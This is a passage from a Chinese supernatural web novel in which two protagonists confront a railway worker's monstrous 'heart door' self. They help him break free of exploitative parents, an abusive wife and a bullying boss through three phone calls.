“不过,这活我一个人干不了,我需要帮手。” 王头儿闻言,又把视线投向周围那群看热闹的工人,扯着嗓子喊:“谁他妈愿意跟他一块儿去?!” 工棚里顿时鸦雀无声。 所有人都下意识地避开了他的视线,谁也不想在这样能冻死人的鬼天气里出门干活。 “一群懒骨头!” 王头儿脸上挂不住,又骂了一声,最后似乎是想起了什么,大发慈悲般地,将他那肥硕的手指,指向了宿珩和乐康。 “行了行了,算老子发善心,他俩,我留下了。” “你们三个,现在就一起去!” 话音刚落,宿珩清冷的声音便响了起来:“没问题。” 他上前一步,目光平静地对上胖子那双充满审视的眼睛。 “不过,我们需要御寒的衣物。” 王头儿上上下下打量了一眼他们身上那件单薄的衬衣,又看了看外面那几乎能埋人的暴雪,似乎也觉得让他们这样出去,跟送死没什么区别。 他“啧”了一声,不情不愿地掐灭了烟头,从座位上站起身,走到角落一个锈迹斑斑的铁皮柜前。 “咣当”一声拉开柜门,从里面翻出三套劳保服,像扔垃圾一样,丢在了他们脚下。 然后,他用下巴点了点刚才跑进来报信的那个男人。 “你现在就带他们过去。” 胖子发了话,男人再不情愿,也只能耷拉着脸应了一声。 脚下那三套厚重的劳保服,布料又硬又脏,散发着一股机油、汗水和霉菌混合的刺鼻气味。 边角处甚至还有凝固的、不知是什么东西的黑色污渍。 在肖靳言的示意下。 乐康白着脸弯腰捡起一套,不顾那股恶臭,手忙脚乱地往自己身上套。 宿珩的动作则要平静许多。 他只是面无表情地抖开那件僵硬的棉服,仿佛那上面附着的污垢和气味,都不足以在他的感官里留下任何痕迹。 肖靳言则慢悠悠套上了最后一件。 在王头儿不耐烦的催促声中,又有人从墙角那堆杂物里,翻出了几把沉重的铁镐和撬棍,塞进他们手里。 “快点,别磨磨蹭蹭的!” 带路的男人早就在门口等得不耐烦,冲他们吼了一句,便率先推开了门。 “轰——” 门扇打开的瞬间,狂暴的风雪裹挟着能将骨头都冻裂的寒意,猛地倒灌进来。 工棚内短暂的温暖,瞬间被这股来自外界的严寒驱散得一干二净。 三人跟着男人走出了工棚。 门在身后“砰”的一声关上,将那片嘈杂的人声彻底隔绝。 天地间,只剩下风雪呼啸的尖锐声响。 男人显然对这条路极为熟悉。 他缩着脖子,深一脚浅一脚地领着三人,绕到了工棚的后面,然后一头钻进了那片无边无际的灰色浓雾之中。 在踏入灰雾的瞬间,宿珩和肖靳言的身体都下意识地紧绷了起来。 然而,预想中的攻击并没有发生。 雾气依旧浓稠,却死寂得可怕。 那些之前在雾中盘踞窥伺的怪物,此刻竟像凭空蒸发了一样,不见了踪影。 一条被积雪覆盖的铁轨,在灰雾中若隐若现。 看来,触发了工棚里的故事线,似乎暂时改变了这片区域的某些规则。 男人领着他们沿着铁轨往前走了约莫几百米,便停下了脚步。 他伸出冻得通红的手,指向前方一个被厚厚的冰层彻底包裹住的铁路道岔,哈着白气,不耐烦地快速说道: “就这儿了!赶紧把冰清了,让道岔能动就行!” 说完,他搓了搓快要冻僵的手,转身就准备开溜。 “等一下。” 宿珩清冷的声音,在风雪中显得格外清晰。 男人不耐烦地回过头:“又干嘛?” “张文强检修的地方在哪儿?”宿珩问。 男人愣了一下,似乎没想到他会问这个。 他朝着铁轨更深处,那个被风雪模糊了的远方,随意地指了一下。 “离这儿还远着呢……大概五六公里外吧!” 他说话时冻得上下牙都在打颤,再也不想多待一秒。 撂下这句话后,便转身离开,跌跌撞撞地消失在了来时的风雪里。 现在,这条没有怪物的铁轨上,只剩下了他们三人。 对于肖靳言和宿珩而言—— 这无疑是找到心门主人的绝佳时机。 乐康喘着粗气,看着那个被冻得像一整块巨大琥珀的道岔,脸上露出一丝茫然。 “我们……现在要怎么办?” 回答他的,是宿珩的行动。 宿珩看都没看一眼那冻得结结实实的道岔。 他将手里的铁镐往雪地里一插,当作临时拐杖,转身便朝着刚才那个男人所指的方向,径直走去。 同一时间,肖靳言借助手里的撬棍,二话不说,跟上了宿珩的脚步。 乐康怔在原地,看着两人毫不犹豫远去的背影,终于反应了过来。 他咬了咬牙,连忙追了上去。 五六公里的路程,在平地上听起来不算太远。 但在这积雪深及膝盖,又有狂风不断阻碍的铁轨上,每往前迈出一步,都要耗费巨大的体力。 风越来越大,卷起的雪粒子像无数把细碎的冰刀,疯狂地刮在人脸上。 臃肿的劳保服虽然能抵御一部分寒冷,却也加重了身体的负担。 天地间白茫茫一片,除了脚下那条被大雪覆盖、几乎看不清模样的铁轨,再也看不到任何参照物。 时间与空间的概念,在这片纯白的绝境中,都变得模糊起来。 乐康走得跌跌撞撞,好几次都险些摔倒,全凭一股不想被丢下的意志力在苦苦支撑。 不知走了多久,或许是一个小时,又或许更久。 就在乐康感觉自己的肺快要被冰冷的空气冻裂,双腿也如灌了铅般再也抬不起来的时候—— 一直走在最前面的宿珩,忽然停住了脚步。 他抬起手,指向远方。 肖靳言和乐康顺着他手指的方向,奋力眯起眼睛望去。 在前方那片白茫茫的风雪尽头,隐约出现了一个芝麻大小的,蓝色的影子。 那个影子孤零零地立在铁轨中央。 与这片广袤无垠的白色世界形成了无比鲜明的对比。 终于……找到他了。 这个发现,像一针强心剂,瞬间注入了三人的身体。 他们加快了脚步,顶着风雪,朝着那个蓝色的影子艰难地跋涉而去。 随着距离的拉近,那个影子的轮廓也愈发清晰—— 那是一个瘦小黝黑的男人。 他也穿着一身蓝色的劳保服,正迎着狂暴的风雪,孤身一人,在检修着铁轨。 他的动作很慢,甚至有些机械。 他先是用铁锤费力地敲掉铁轨连接处冻上的冰块,然后又俯下身,用扳手去拧紧一颗被冻住的螺丝。 风雪将他的身形吹得摇摇欲坠,仿佛随时都会被这片天地的怒火所吞噬。 可他没有停下。 只是沉默地,固执地,重复着手里的工作。 那个身影看起来,落寞又可怜,像一株被全世界遗弃在寒冬里的野草。 明明所有人都在温暖的工棚里偷奸耍滑。 可他……却不能、也不敢停下。 第88章 第 88 章 无尽公路12 三人艰难地跋涉过去。 距离越近, 风雪中那叮叮当当的敲击声,就越发清晰。 那声音固执而又机械,带着一种令人心头发酸的麻木。 终于, 他们走到了男人的身后。 或许是他们的脚步声惊动了他,又或许是那三道被风雪拉长的影子,落在了他面前的铁轨上。 男人敲击的动作, 戛然而止。 他停顿了片刻,才缓缓地,用一种近乎僵硬的姿态, 转过身来。 一张被寒风吹得皲裂、黝黑的脸, 出现在三人面前。 张文强。 这扇心门的主人。 当他看清来人是肖靳言和宿珩时, 那双本就浑浊的眼睛里,先是闪过一丝错愕, 随即便被滔天的怨毒和愤怒彻底取代。 他的脸色变得极为难看,嘴唇哆嗦着,紧紧攥着手里那把沾满冰霜的铁锤。 “是你们。森*晚*整*理” 他的声音,像是从牙缝里硬生生挤出来的, 每一个字都裹挟着冰冷的杀意。 “没想到……你们居然会找到这里来?” 肖靳言刚想开口。 但张文强完全没给他说话的机会, 竟然毫无征兆地, 瞬间发生异化。 漆黑的粘液从布料的缝隙中渗出, 迅速覆盖了衣物的表面。 而他脚下的积雪,以一种违背常理的速度融化着, 露出下面被染成漆黑的路基。 那具本就瘦小的身躯,再次开始了那种令人毛骨悚然的膨胀与扭曲。 他没有完全变成上次那团巨大的人形阴影, 而是保持着人的轮廓,皮肤寸寸开裂,裂缝之下, 是不断蠕动翻涌的,纯黑色的恶意。 他身上的异变,似乎也成了某种信号。 “沙……沙沙……” 一阵细微的,令人头皮发麻的声响,从四周那些厚厚的雪堆之下传来。 肖靳言眼神一凛。 宿珩同样察觉到了,他漆黑的眼眸冷静地扫向四周。 一个,两个,三个…… 一个个被积雪覆盖的黑色怪物,缓缓地从雪堆里爬了出来。 它们分散在铁轨四周的各个角落,身体上覆盖着一层厚厚的冰雪,像是一具具刚刚从冻土中苏醒的尸体。 没有五官的面孔,齐刷刷地转向了铁轨中央的三人。 那股熟悉的绝望感,再次如同潮水般铺天盖地而来。 乐康看着这恐怖的一幕,双腿一软,几乎要瘫倒在地。 他下意识地看向宿珩。 却见对方脸色沉静,一点被骇到的样子也没有。 而直到这时,宿珩才忽然想明白了。 这些怪物,不是守卫,也不是军队。 它们是……“时间”。 是张文强在这条铁轨上度过的,每一个被忽视、被榨干、被痛苦填满的日与夜。 每一个怪物,都是他的一段人生。 它们静默地站在这里,共同构成了他那座名为“生活”的,无边无际的坟场。 “真是个……盛大的欢迎仪式。” 肖靳言的声音很低,却像一把锋利的刀,轻易地剖开了风雪的呼啸。 他没有回头,但宿珩知道他是在对自己说话。 “他把所有的痛苦都留在了这里。” 宿珩的声音同样被呼啸的风雪压得很低,“而他自己,却成了其中最痛苦的那一个。” 随着他声音落下。 无数混乱的,充满恶意的声音,骤然间从四面八方涌来。 “这个月的药费还没交呢,你想让我们两个老东西死在医院里吗?” “这点钱够干嘛的?” “我今天打麻将又输了!你能不能像个男人一样,多挣点钱!” “爸爸是个废物!我才不要像他一样!” “我要新玩具……我要新衣服,我现在就要,你不给我买,你就不是我爸爸!” “你成天心不在焉的,这活你不想干就趁早滚蛋,有的是人抢着干!” 父母的索取。 妻子的谩骂。 儿女的鄙夷。 工作的践踏。 …… 这些声音交织成一张巨大的网,将人牢牢地困在其中,密不透风,令人窒息。 这就是这个男人日复一日所要面对的世界。 一个没有尽头,永远无法停歇的苦役地狱。 张文强蜷缩在冰冷的铁轨中央,痛苦地抱着头。 那些尖锐刻薄的声音仿佛化作了无数根钢针,从四面八方刺入他的脑海,搅得他不得安宁。 张文强濒临崩溃,喉咙深处挤出一声不似人声的野兽咆哮。 随着这声嘶吼,四周那些覆盖着冰雪的黑影怪物,瞬间活了。 它们扭曲的身躯在厚厚的雪地中拉出长长的轨迹,没有发出任何声音,却带着一股扑面而来的杀意,从四面八方合围而至。 “小心!” 宿珩只来得及对身旁快要吓瘫的乐康喊出两个字。 话音未落,他已经将那把沉重的铁镐横在胸前,手腕发力,整个人重心下沉,摆出了防御姿态。 肖靳言的反应更快。 在怪物启动的同一秒,那把黑色的短刀已经悄无声息地滑入掌心。 下一瞬,他迎着最先扑来的三只怪物冲了上去。 刀光在灰白色的风雪中一闪而过,快得几乎无法捕捉。 冲在最前面的怪物当胸裂开一道平滑的切口。 黑色的粘液还未喷溅出来,便被刀锋上附带的力量震得粉碎,化作一捧黑灰,融进了风雪里。 另一边,一只怪物已经扑到了宿珩面前。 宿珩眼神没有丝毫波动。 他没有硬拼,而是侧身让开怪物的正面冲击,同时手中的铁镐抡出一个刁钻的角度,用沉重的镐头狠狠砸在了怪物的侧腰。 “砰!” 一声闷响,那怪物的身体被打得向内凹陷下去,踉跄着扑倒在雪地里。 宿珩没有给它任何机会,手腕一翻,反握铁镐,锋利的尖端朝下,用尽全身的力气,对着怪物尚未爬起的后心,狠狠地刺了下去。 “噗嗤——” 铁镐整个没入怪物身体,黑色的液体爆溅开来,将周围的白雪都染上了一层肮脏的污迹。 怪物潮水般涌来,无穷无尽。 肖靳言的短刀在怪物群中拉出一道道死亡的弧线,而宿珩的铁镐则大开大合,每一次挥动都带着千钧之力,将靠近的怪物砸得筋断骨折。 两人在密不透风的围攻中,清出了一小片不断被压缩的安全区。 但这样下去不是办法。 乐康手忙脚乱地用一根撬棍砸退怪物,但自己也被反震的力道震得跌倒在地。 肖靳言抽空扶起了他,并一脚踹开一只准备上前捡漏的怪物。 他的目光越过重重叠叠的黑影,死死锁定了风雪中央那个蜷缩着的身影。 擒贼先擒王。 肖靳言眼神骤然一凛,不再理会周围的杂兵。 他抓住一个空隙,一脚将正前方的一只怪物猛地踹飞出去,清出一条短暂的通道。 紧接着,他双腿发力,如同炮弹一样,顶着狂暴的风雪,用极快的速度笔直冲向了铁轨中央的张文强。 张文强似乎察觉到了危险,猛地抬起头,那张异化扭曲的脸上,满是惊恐和怨毒。 肖靳言已经冲到了他的面前。 他高高举起了手中的短刀,冰冷的铁器划破风雪,对准了张文强那张已经不能称之为“人”的脸。 但就在这时—— 这场狂暴的风雪毫无征兆地停了。 一瞬间,万籁俱寂。 下一秒。 一轮惨白的烈日凭空出现在乌云密布的天空之上,投下炙热到扭曲空气的光线。 被雪覆盖的的铁轨和枕木迅速蒸腾起浓厚的白汽,发出一阵“滋啦”的声响,混杂着一股皮肉被灼烧的焦臭。 张文强身上的湿衣服瞬间被烤干,紧紧收缩,勒进他的皮肉。 他的皮肤以肉眼可见的速度变得焦黑干裂,整个人像是被抽干了水分的枯柴,痛苦地萎缩下去。 那些盘踞在四周的黑色怪物,也在酷热中变得稀薄,仿佛随时会融化。 肖靳言拧紧眉,想了想,还是沉默地收回了刀。 他退回到宿珩身旁,用自己高大的身躯,不动声色地为他挡住了大部分扑面而来的热风。 宿珩此刻心脏有些难受。 除了烈日带来的灼热感,伴随其中的,一种被羞辱、被践踏的灼痛感,更是让他心口一阵发闷。 只不过这种酷热,仅仅持续了不到一分钟。 烈日隐去,气温骤降。 刚才还在蒸腾的白汽瞬间凝结成冰霜,沿着铁轨飞速蔓延。 天空再次飘下大片湿冷的雪花,密集地砸落。 张文强干裂的皮肤立刻被冰雪覆盖,他剧烈地颤抖起来,牙齿磕碰着,发出“咯咯”的声响。 厚重的积雪迅速将他掩埋,把他压得更低,几乎要与地面融为一体。 那是一种被世界抛弃的、深入骨髓的冰冷和孤寂。 “原来是这样。” 宿珩的声音在风雪中显得有些发飘。 “烈日是他人的辱骂和鄙夷,是那种无地自容的灼痛。” “暴雨和风雪,是他必须面对的现实,是父母的药费,是孩子的开销,是无处可躲的冰冷压力。” 肖靳言的目光沉了下来,总结道:“一个循环往复的刑场。” 宿珩嗯了声,表示赞同。 话音未落,风雪又一次转为瓢泼的暴雨。 冰冷的雪水混合着雨水,将男人彻底浸透。 他像是被扔进了冰冷的海水里,只能大口喘息,每一次呼吸都灌进满口的绝望。 那些恶毒的声音,随着雨声变得更加清晰、更加刺耳。 紧接着,这个循环开始加速。 烈日,风雪,暴雨。 三种极端的天气如同走马灯般疯狂切换,每一次转换都变得更加迅速,更加暴戾。 张文强在铁轨上翻滚着,时而被烤得蜷曲,时而被冻得僵直,时而又被雨水冲刷得毫无生气。 他的身体,因为这极致的痛苦、愤怒和绝望而剧烈地痉挛着,喉咙里发出不似人声的嘶吼。 盘踞在铁轨旁的黑色怪物,同样如此。 肖靳言看着这一幕,眼神冷得像冰。 “他快撑不住了。” 随着肖靳言声音落下,张文强仿佛受到了某种巨大的刺激。 他死死抓着头发,像一头被逼入绝境的困兽,神经质般的嘶吼着: “我不能停下来!” “我一旦停下来,一切就都完了!” “我不能停!” 肖靳言的眉头紧紧锁起,这股庞大的负面情绪冲击,即便是他,也感到了一丝压力。 这已经不是单纯的幻象。 而是心门主人用他全部的绝望和怨念,在规则碎片的干扰下,凝聚而成的真实领域。 这种情况会变得相当棘手。 但就在这时。 一只冰凉的手,轻轻地搭在了肖靳言的后腰上。 是宿珩。 他在这股如狂风暴雨般的负面情绪冲刷下,脸色苍白如纸,连嘴唇都没有几分血色。 但他的眼底,却看不到丝毫的畏惧。 那双清冷的眼眸在混乱的光影中,仍然平静地注视着那个近乎崩溃的男人。 肖靳言后腰微微一麻,不过他没有回头。 宿珩的手只是短暂地停留了片刻,便收了回去。 他赤着脚,一步一步地踩着铁轨,越过那些紧盯着他的黑色怪物,沉默地走到了张文强的面前。 “喂。” 宿珩站在男人身前。 他的声音不大,却像一把锋利的刀子,精准地划破了所有嘈杂的噪音。 张文强猛地抬起头,用那双布满血丝的眼睛死死地瞪着他。 宿珩无视了他那几乎要将人吞噬的目光,只是平静地陈述着一个事实。 “你杀了人。” 张文强脸上的肌肉剧烈地抽搐了一下。 他还没来得及做出反应—— 下一瞬。 一只拳头,裹挟着冰冷的气息,结结实实地,砸在了他的侧脸上。 “砰!” 一声令人牙酸的沉闷钝响。 那不是血肉之躯该有的声音,更像是重拳擂在了灌满泥浆的皮囊上。 怪物的头颅被这股力量猛地打得一歪,整个由阴影构成的身躯,像一袋被抽掉骨头的破麻袋,踉跄着向后倒去。 他重重地摔在铁轨上,溅起一片污浊的水花。 刹那间。 周围所有嘈杂的、尖锐的、刻薄的幻音,如同被一只无形的手扼住了喉咙,悉数消散。 整个世界,陷入了死一般的寂静。 那些数不清的黑色怪物,仿佛被按下了暂停键,一动不动地维持着最初的动作。 而张文强仰躺在地上。 那双燃烧着疯狂与仇恨的眼睛,此刻只剩下茫然与错愕。 宿珩居高临下地站在他面前,垂眸看着他。 那双清冷的眼眸里,没有愤怒,没有恐惧,只有一种近乎残忍的漠然。 他收回拳头,垂在身侧,然后不紧不慢地揉了揉自己的手腕。 那动作很轻,很随意,像是在拂去什么不洁的尘土。 沉默了一阵。 宿珩继续说道:“你杀了你妻子的情夫,用你在这扇心门里的力量,让他像个溺死鬼一样,死在了那张床上。” 他顿了顿,漆黑的眼眸里没有丝毫怜悯。 “你报仇了。” “所以呢?” “你满足了吗?” “有什么改变吗?” 一连串的问题,像一把重锤,狠狠地砸在了男人最脆弱的神经上。 张文强脸上的疯狂和愤怒,肉眼可见地凝滞了。 他似乎真的在认真思考这几个问题。 “除了变成一个连你自己都厌恶的怪物,你还得到了什么呢?” 张文强低头,看向自己倒映在铁轨积水中的模样。 那不是他的脸。 那是一张由流动的阴影和沸腾的怨恨所拼凑成的,怪物的面孔。 他抬起“手”。 那已经不能称之为手了,只是一团不断滴落着污浊黏液的,无定形的漆黑物质。 他曾用真正的手,铺设过成千上万根枕木,用那双手拧紧过无数颗冰冷的螺栓。 用那双手……笨拙地抱过自己刚出生的孩子。 可现在呢? 那双手刚刚溺死了自己深恶痛绝的仇敌。 是啊。 他用最解恨的方式,报复了那对狗男女。 可然后呢? 父母依旧会打电话来催药费,儿子依旧会觉得他是个废物,领导依旧会把他当狗一样使唤。 这些,都改变了吗? 没有。 什么都没有改变。 那条没有尽头的铁轨,他还是要日复一日地走下去。 那座压在他背上,名为“家庭”和“责任”的大山,没有因为一个人的死亡而挪开分毫。 反而,他自己,却变成了这座大山脚下,被碾得面目全非、丑陋不堪的烂泥。 他以为自己握住了力量,可以反抗,可以报复。 可到头来,这份力量不过是将他自己推向了更深的深渊。 他亲手,将自己变成了别人眼中,那个最不堪的、怪物的模样。 一阵比绝望更空洞的迷茫,如同冰冷的海水,瞬间淹没了胸腔里那团刚刚还在熊熊燃烧的怒火。 他……到底是谁? 是那个在铁轨上日复一日,风雨无阻的铁路工人。 还是…… 眼前这个连自己都感到恶心的,由憎恨凝聚成的怪物? 那股滔天的怨气和杀意,如同被戳破的气球,迅速地从他身上泄了出去。 张文强脸上的疯狂褪去,取而代之的,是一种更深沉的,深入骨髓的茫然和疲惫。 他看着眼前平静漂亮的男生,嘴唇翕动了半天,才发出一声梦呓般的呢喃。 “那我……该怎么办?” 环绕在周围的,那些恶毒的,充满压迫感的声音,在这一刻,也奇迹般地消失了。 只是风雨未歇,张文强全身湿透地站在那里,像一尊被风吹日晒冲刷了千百遍的石像,充满了无尽的悲凉。 肖靳言看着这一幕,握着短刀的手指,终于缓缓松开。 他看着宿珩清瘦却挺直的背影,眼底深处,闪过一丝连他自己都未曾察觉的,混杂着欣赏与骄傲的柔和光芒。 宿珩没有回答张文强的问题。 他只是沉默地劳保服的口袋里,掏出一部老式手机,然后将它递到了男人的面前。 这是他离开工棚前,顺手在其中一个工人的口袋里拿走的。 他动作隐秘,连肖靳言都未曾注意。 肖靳言的目光从那部手机上,缓缓移到了宿珩的侧脸上。 不愧是自己看中的人啊! 肖靳言无声地低啧了一下,唇角不受控制地向上扬起一个极细微的弧度。 在他以为这是一场需要用暴力和意志去征服的硬仗时,宿珩却从一开始,就没打算按常理出牌。 他不是在战斗。 他是在拆解。 一层一层,冷静而精准地,将这个男人用绝望和怨恨构筑起来的坚硬外壳,毫不留情地剥开,露出里面那个最软弱,最痛苦的内核。 肖靳言看着宿珩清瘦的背影。 那件宽大的劳保服穿在他身上,显得有些空荡。 可就是这样一道身影,却比任何武器都更有力量。 另一边,宿珩看着张文强。 “你的恐惧,来源于你认为你别无选择。” 他的声音平静而清晰。 “但你有没有想过,从你产生绝望,诞生这扇心门开始,你就已经有了选择。” “选择继续往前走,在这条路上被活活累死。” “或者——” 宿珩的目光落在那部手机上,声音带着一丝循循善诱的引导。 “选择停下来,打个电话。” 第89章 第 89 章 无尽公路(完) 男人僵硬地站在那里, 空洞的眼神,死死地盯着宿珩递到面前的那部老旧手机。 仿佛那不是一部通讯工具,而是某种足以宣判他死刑的刑具。 他的嘴唇无声地翕动着, 喉结艰难地上下滚动。 停下来。 打电话。 多么简单的几个字。 但对他而言,却比在狂风暴雨中扛起千斤重的铁轨还要艰难。 他这一辈子,都在往前走。 从不敢停, 也不能停。 停下来,意味着父母的药费会断,意味着妻子的辱骂会变成现实, 意味着儿女会挨饿, 意味着他会失去赖以生存的工作。 他的人生, 就像一列被设定好轨道的火车。 唯一能做的就是向前,向前。 直到燃料耗尽, 彻底报废。 “打电话给谁?” 男人沙哑的声音里,透着一股深入骨髓的茫然与无助,“打了又有什么用?” “打电话给那些,把你逼上这条路的人。” 宿珩的声音依旧平静, 没有丝毫的怜悯或同情, 只是一种近乎冷酷的客观。 “告诉他们, 你要停下来了。” 肖靳言不知何时已经站到了宿珩的身后, 他没有说话,高大的身躯如同一座沉默的山, 带来无形的压迫感。 他只是好整以暇地抱着手臂,那双深邃的眼眸, 饶有兴味地看着眼前这场由宿珩主导的,心理上的手术。 男人眼中的血丝因为情绪的剧烈波动而愈发明显。 他猛地摇着头,身体因为拒绝而剧烈颤抖。 “不行, 我不能!” “我妈有心脏病,我爸有高血压,他们每个月的药不能停!” “我老婆她,她一个人带两个孩子不容易,我不能让她和孩子饿肚子!” “我这份工作,是我求了多少人才找到的,我不能丢!” 他说出的每一个字,都像是一条无形的锁链,将他自己捆绑得更紧。 这些所谓的责任和借口,早已化作他骨血的一部分,成为他无法停下的理由。 “是吗?” 宿珩清冷的声音再次响起,像一把冰冷的手术刀,精准地剖开他自我欺骗的伪装。 “你的父母,除了要钱,有关心过你一句吗?” “你的妻子,除了抱怨,有为你分担过一丝一毫吗?” “你的儿女,在你日夜不归,用血汗换来他们的衣食无忧时,他们又是怎么看你的?” 宿珩的每一句反问,都像一记重锤,狠狠地砸在男人的心口。 他脸上的血色瞬间褪尽,变得惨白如纸。 是啊。 没有。 从来都没有。 电话那头,永远只有冰冷的索取,和不耐烦的催促。 男人痛苦地闭上眼睛,两行浑浊的泪水,终于顺着他满是风霜的脸颊,无声地滑落。 那不是悲伤的泪。 而是被无尽的疲惫和绝望,彻底浸透的苦水。 他颤抖着,伸出了那只因为常年劳作而布满厚茧和伤痕的手,接过了宿珩递来的电话。 老式手机很重。 重得像他背负了一生的那座大山。 他的手指在数字按键上悬停了许久,最终,凭借着刻在骨子里的记忆,摁下了一串熟悉的号码。 电话“嘟嘟”地响了三声,被不耐烦地接起。 一个苍老而刻薄的声音从听筒里传了出来:“喂?谁啊?这么晚了还打电话,不知道老人要休息吗?” 是他的父亲。 男人握着听筒的手,抖得更加厉害了,他张了张嘴,喉咙里却像是堵了一团棉花,发不出任何声音。 “说话啊!哑巴了?” 电话那头似乎知道打电话的人是谁,声音忽然软下来,甚至带上了几分小心翼翼的讨好。 “是文强吧?” “你这时候打电话过来,是不是工资发啦?” “不是爸妈总催你,你也知道,为了把你供出来,我和你妈受了多大的罪,不然也不会得这一身的病……” “当然了,爸妈也知道你难,可我们毕竟养你这么多年,你总不能眼睁睁看着我和你妈没钱买药,死在家里吧?” 这些话,像藏在棉花里的淬毒钢针,狠狠刺进男人的耳膜。 就在这时,原本已经恢复正常的铁轨,再次发生了诡异的变化。 一栋破旧的二层小楼,凭空浮现在张文强的眼前。 屋门口,站着一对黑瘦的老年夫妻。 他们正伸长了脖子,用一种贪婪的眼神,死死地盯着他。 “我……” 张文强终于从喉咙里挤出一个字,声音嘶哑得不成样子,“这个月,钱……” 他看着那两双满怀期待的眼睛,后面的话却怎么也说不出口。 “钱不够的话,你们就别活了。” 宿珩的声音,冷不丁地在他耳边响起。 这句话像是一道惊雷,在男人混沌的脑子里轰然炸响。 他猛地一震,像是被抽走了最后一丝力气,又像是被注入了一股破釜沉舟的勇气。 “这个月的钱,我不寄了。” 他对着听筒,用尽全身的力气,一字一句地说道。 电话那头,陷入了长达数秒的死寂。 随即,便是火山爆发般的尖叫和咒骂。 “你个天杀的畜生!你说什么!” “你是想让我们两个去死啊!我怎么会生出你这么个没良心的东西!” “你这个不孝子!你会遭天谴的!” 恶毒的咒骂声中,那对老年夫妻的幻象,脸孔因为愤怒而扭曲,变得如同恶鬼一般,张牙舞爪地朝着他扑了过来。 男人吓得浑身一哆嗦,下意识地想要后退。 “挂掉。” 宿珩清冷的声音,再一次精准地响起。 男人像是抓住了最后一根救命稻草,几乎是凭借本能,狠狠地按下了挂断键。 电话被切断的瞬间,那铺天盖地的咒骂声戛然而止。 冲到他面前的恶鬼幻象,也在同一时刻,如同被戳破的泡沫,“砰”的一声,彻底碎裂,消散在了空气里。 铁轨,又恢复了原先的模样。 男人死死抓着手机,大口大口地喘着粗气,浑身都被冷汗浸透。 他成功了。 他第一次,反抗了那对将他当成提款机的父母。 虽然恐惧,虽然心悸,但…… 那座压在他心头最沉重的大山,似乎被撼动了一丝。 宿珩没有给他太多喘息的时间,只是用眼神,示意他继续。 男人深吸了一口气,布满血丝的眼睛里,第一次出现了一丝不同于麻木和绝望的情绪。 他抬起依旧颤抖的手,摁下了第二串号码。 这一次,电话几乎是立刻就被接通了。 那个他再熟悉不过的,刻薄又尖利的女声,带着毫不掩饰的厌恶,从听筒里传来。 即便她刚刚亲眼目睹了情夫的惨死。 但在张文强的潜意识里,他的老婆,就是这样的人。 “又干什么?钱打过来了?” 男人的胸口剧烈地起伏了一下,他攥紧了拳头,指甲深深地陷进掌心的肉里。 “我们离婚吧,孩子归你,我……我每个月给赡养费。” 他的声音不大,却异常坚定。 电话那头的女人,明显愣了一下。 随即,她发出一阵刺耳的,充满鄙夷的冷笑。 “离婚?张文强,你脑子是被驴踢了还是被铁轨压了?” “你算个什么东西,也敢跟我提离婚?” “你以为离了婚,你就能甩掉我们娘仨?我告诉你,没门!” “你这个窝囊废,废物!你这辈子都别想摆脱我!” 随着她的咆哮,那间熟悉的,刚刚装修过却依旧显得廉价的三居室幻象,再次浮现。 女人穿着那件艳丽的吊带裙,叉着腰,涂着鲜红指甲油的手指,几乎要戳到他的鼻子上。 她的身后,那两个孩子,小欢和小伟,正用一种混合着陌生,鄙夷,和怨恨的眼神,冷漠地看着他。 “我没有你这样的爸爸!” “连一个新的布娃娃都不给我买,你是个废物爸爸!” 两个孩子的声音,像一把最锋利的刀子,精准地捅进了张文强心里最柔软的地方。 男人的身体剧烈地晃动了一下,脸上最后一点血色也消失了,他几乎要站立不稳。 肖靳言的眉头,几不可察地蹙了一下。 宿珩却依旧面无表情,他只是看着那个摇摇欲坠的男人,平静地吐出两个字。 “挂掉。” 男人的嘴唇哆嗦着,他看着幻象中儿子那张充满恨意的脸,心如刀绞。 但他最终,还是再一次,狠狠地按下了挂断键。 女人的咒骂和儿子的控诉,戛然而止。 眼前那间让他感到窒息的屋子,连同里面的人,再一次,化作了漫天碎片。 男人踉跄着后退了两步,后背重重地撞在冰冷的墙壁上,才勉强稳住身形。 他捂着脸,肩膀剧烈地耸动着,压抑了半生的痛苦和委屈,在这一刻,终于化作了无声的哽咽。 他哭了很久。 宿珩和肖靳言都没有打扰他,只是静静地等着。 等到他的哭声渐渐平息,男人才抬起那张布满泪痕的脸,用红肿的眼睛,看向宿珩。 他的眼神里,依旧充满了痛苦,却多了一丝从未有过的清明。 他主动拿起电话,拨出了最后一个号码。 “喂?哪位?” 电话那头,传来一个男人不耐烦的声音,背景里还夹杂着麻将牌碰撞的嘈杂声。 “是我,张文强。” “哦,是你啊。” 领导的语气缓和了一些,却依旧带着高高在上的腔调,“让你修个铁轨修到现在,明天的活还想不想干了?!” 张文强沉默了片刻,然后用一种前所未有的平静语气,说道: “对,不干了。” “我辞职。” 电话那头的麻将声,停了。 王头儿似乎被他这干脆利落的态度给噎了一下,随即冷笑一声。 “辞职?” “张文强,你可想好了。” “就你这要学历没学历,要技术没技术的,除了我这儿,你上哪儿找这么好的活去?” “别到时候饿得没饭吃了,又跑回来求我!” 张文强听到这话,瞬间来了脾气。 他抓着手机,劈头盖脸地一阵臭骂,“我求你妈!” “你个死胖子,有几个关系了不起了是吧,我艹你**********!” 电话那头显然没料到,一向懦弱的张文强居然这么硬气,隔着电话也能听到他剧烈地喘着粗气。 “好啊张文强,你你你你……” 你什么你?!” 不等王头儿把话说完,张文强彻底爆发了,后面的话更加不堪入耳。 他将这辈子听过、想过的所有脏话,像倒垃圾一样,一股脑地全砸了过去。 “克扣老子工资的时候你怎么不‘你你你’?” “大冬天让老子一个人去修铁轨的时候你怎么不‘你你你’?” “你个生儿子没**的死胖子,老子不干了!听见没有!从今天起,你就是跪在地上求我,老子也不伺候了!” 他吼得声嘶力竭,脖子上的青筋一根根暴起,那张原本麻木的脸因为极度的愤怒而涨得通红,整个人都在发抖。 “你……你给我等着!” 电话那头的王头儿气得快要中风,怒吼一声,狠狠地挂断了电话。 “嘟——” 忙音响起。 宿珩静静看着,倒觉得这是件好事。 把积攒在工作上的所有怨气一吐而出,负面情绪才能得到真正的倾泻。 这一次,没有任何幻象出现。 因为这份工作带给他的压迫,早已融入他生活的每一分每一秒,无需再以具象化的形式呈现。 当三通电话全部打完。 张文强像是被抽空了全身的力气,缓缓地滑坐在了地上。 他手中的手机,“啪嗒”一声,掉落在铁轨上。 整个人,都陷入了一种极致的空洞和虚脱之中。 他自由了。 也一无所有了。 头顶,不断循环的恶劣天气,不知何时,已经彻底停歇。 一缕微弱的,带着清晨凉意的熹光,从厚重的云层背后挣扎着透了出来,照在了铁轨上。 四周的灰雾,开始变得透明。 脚下未化的雪地,也开始迅速地消融,变淡。 